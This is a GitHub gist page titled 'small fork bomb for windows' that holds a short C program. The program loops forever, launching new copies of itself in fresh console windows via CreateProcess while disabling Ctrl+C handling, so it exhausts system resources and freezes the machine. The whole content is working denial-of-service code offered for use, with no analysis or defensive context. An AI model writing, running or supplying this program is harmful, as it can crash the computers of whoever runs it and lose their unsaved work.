Skip to content

Instantly share code, notes, and snippets.

@kh0p
Created September 8, 2013 17:51
Show Gist options
  • Save kh0p/6486898 to your computer and use it in GitHub Desktop.
Save kh0p/6486898 to your computer and use it in GitHub Desktop.
small fork bomb for windows.
#include <windows.h>
int main(int argc,char **argv) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
while (1) {
SetConsoleCtrlHandler(0, 1);
CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment